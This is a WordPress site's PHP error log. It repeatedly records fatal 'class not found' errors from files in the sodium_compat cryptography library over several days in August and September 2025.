[26-Aug-2025 06:36:21 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20.php on line 10
[26-Aug-2025 06:36:25 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php:16
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php on line 16
[26-Aug-2025 06:36:31 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php:16
Stack trace:
#0 /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ed25519.php(7): require_once()
#1 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php on line 16
[26-Aug-2025 06:36:32 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_ChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HChaCha20.php on line 10
[26-Aug-2025 06:36:32 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Salsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HSalsa20.php on line 10
[26-Aug-2025 06:36:33 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305.php on line 10
[26-Aug-2025 06:36:36 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Ed25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ristretto255.php:6
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ristretto255.php on line 6
[26-Aug-2025 06:36:37 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Salsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Salsa20.php on line 10
[26-Aug-2025 06:36:39 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/SipHash.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/SipHash.php on line 12
[26-Aug-2025 06:36:39 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/X25519.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/X25519.php on line 10
[26-Aug-2025 06:36:40 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_HChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XChaCha20.php on line 10
[26-Aug-2025 06:36:40 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_HSalsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XSalsa20.php on line 10
[27-Aug-2025 14:45:17 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_AES' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS128L.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS128L.php on line 10
[27-Aug-2025 14:45:35 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_AES' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS256.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS256.php on line 10
[27-Aug-2025 14:45:47 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES.php:14
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES.php on line 14
[27-Aug-2025 14:46:26 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/BLAKE2b.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/BLAKE2b.php on line 12
[27-Aug-2025 14:46:37 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20.php on line 10
[27-Aug-2025 14:47:05 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php:16
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php on line 16
[27-Aug-2025 14:47:18 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php:16
Stack trace:
#0 /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ed25519.php(7): require_once()
#1 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php on line 16
[27-Aug-2025 14:47:27 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_ChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HChaCha20.php on line 10
[27-Aug-2025 14:47:49 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Salsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HSalsa20.php on line 10
[27-Aug-2025 14:48:06 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305.php on line 10
[27-Aug-2025 14:48:34 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Ed25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ristretto255.php:6
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ristretto255.php on line 6
[27-Aug-2025 14:49:02 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Salsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Salsa20.php on line 10
[27-Aug-2025 14:49:38 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/SipHash.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/SipHash.php on line 12
[27-Aug-2025 14:50:10 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/X25519.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/X25519.php on line 10
[27-Aug-2025 14:50:35 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_HChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XChaCha20.php on line 10
[27-Aug-2025 14:50:35 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_HSalsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XSalsa20.php on line 10
[04-Sep-2025 00:44:32 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_AES' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS128L.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS128L.php on line 10
[04-Sep-2025 00:44:32 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_AES' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS256.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS256.php on line 10
[04-Sep-2025 00:44:33 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES.php:14
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES.php on line 14
[04-Sep-2025 00:44:40 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/BLAKE2b.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/BLAKE2b.php on line 12
[04-Sep-2025 00:44:43 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20.php on line 10
[04-Sep-2025 00:44:50 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php:16
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php on line 16
[04-Sep-2025 00:44:59 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php:16
Stack trace:
#0 /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ed25519.php(7): require_once()
#1 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php on line 16
[04-Sep-2025 00:45:00 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_ChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HChaCha20.php on line 10
[04-Sep-2025 00:45:01 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Salsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HSalsa20.php on line 10
[04-Sep-2025 00:45:02 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305.php on line 10
[04-Sep-2025 00:45:11 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Ed25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ristretto255.php:6
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ristretto255.php on line 6
[04-Sep-2025 00:45:11 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Salsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Salsa20.php on line 10
[04-Sep-2025 00:45:14 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/SipHash.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/SipHash.php on line 12
[04-Sep-2025 00:45:15 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/X25519.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/X25519.php on line 10
[04-Sep-2025 00:45:16 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_HChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XChaCha20.php on line 10
[04-Sep-2025 00:45:16 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_HSalsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XSalsa20.php on line 10
[04-Sep-2025 01:02:10 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_AES' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS128L.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS128L.php on line 10
[04-Sep-2025 01:02:13 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_AES' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS256.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS256.php on line 10
[04-Sep-2025 01:02:20 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES.php:14
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES.php on line 14
[04-Sep-2025 01:02:47 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/BLAKE2b.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/BLAKE2b.php on line 12
[04-Sep-2025 01:02:51 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20.php on line 10
[04-Sep-2025 01:02:57 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php:16
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php on line 16
[04-Sep-2025 01:03:05 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php:16
Stack trace:
#0 /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ed25519.php(7): require_once()
#1 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php on line 16
[04-Sep-2025 01:03:11 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_ChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HChaCha20.php on line 10
[04-Sep-2025 01:03:16 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Salsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HSalsa20.php on line 10
[04-Sep-2025 01:03:20 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305.php on line 10
[04-Sep-2025 01:03:27 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Ed25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ristretto255.php:6
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ristretto255.php on line 6
[04-Sep-2025 01:03:30 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Salsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Salsa20.php on line 10
[04-Sep-2025 01:03:33 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/SipHash.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/SipHash.php on line 12
[04-Sep-2025 01:03:34 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/X25519.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/X25519.php on line 10
[04-Sep-2025 01:03:34 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_HChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XChaCha20.php on line 10
[04-Sep-2025 01:03:35 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_HSalsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XSalsa20.php on line 10
[06-Sep-2025 01:56:21 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_AES' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS128L.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS128L.php on line 10
[06-Sep-2025 01:56:21 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_AES' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS256.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS256.php on line 10
[06-Sep-2025 01:56:21 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES.php:14
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES.php on line 14
[06-Sep-2025 01:56:24 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/BLAKE2b.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/BLAKE2b.php on line 12
[06-Sep-2025 01:56:26 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20.php on line 10
[06-Sep-2025 01:56:29 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php:16
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php on line 16
[06-Sep-2025 01:56:34 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php:16
Stack trace:
#0 /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ed25519.php(7): require_once()
#1 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php on line 16
[06-Sep-2025 01:56:35 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_ChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HChaCha20.php on line 10
[06-Sep-2025 01:56:35 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Salsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HSalsa20.php on line 10
[06-Sep-2025 01:56:35 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305.php on line 10
[06-Sep-2025 01:56:38 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Ed25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ristretto255.php:6
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ristretto255.php on line 6
[06-Sep-2025 01:56:38 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Salsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Salsa20.php on line 10
[06-Sep-2025 01:56:40 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/SipHash.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/SipHash.php on line 12
[06-Sep-2025 01:56:41 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/X25519.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/X25519.php on line 10
[06-Sep-2025 01:56:41 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_HChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XChaCha20.php on line 10
[06-Sep-2025 01:56:42 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_HSalsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XSalsa20.php on line 10
[06-Sep-2025 02:04:30 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_AES' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS128L.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS128L.php on line 10
[06-Sep-2025 02:04:30 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_AES' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS256.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS256.php on line 10
[06-Sep-2025 02:04:30 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES.php:14
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES.php on line 14
[06-Sep-2025 02:04:33 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/BLAKE2b.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/BLAKE2b.php on line 12
[06-Sep-2025 02:04:36 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20.php on line 10
[06-Sep-2025 02:04:39 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php:16
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php on line 16
[06-Sep-2025 02:04:45 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php:16
Stack trace:
#0 /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ed25519.php(7): require_once()
#1 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php on line 16
[06-Sep-2025 02:04:46 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_ChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HChaCha20.php on line 10
[06-Sep-2025 02:04:46 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Salsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HSalsa20.php on line 10
[06-Sep-2025 02:04:46 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305.php on line 10
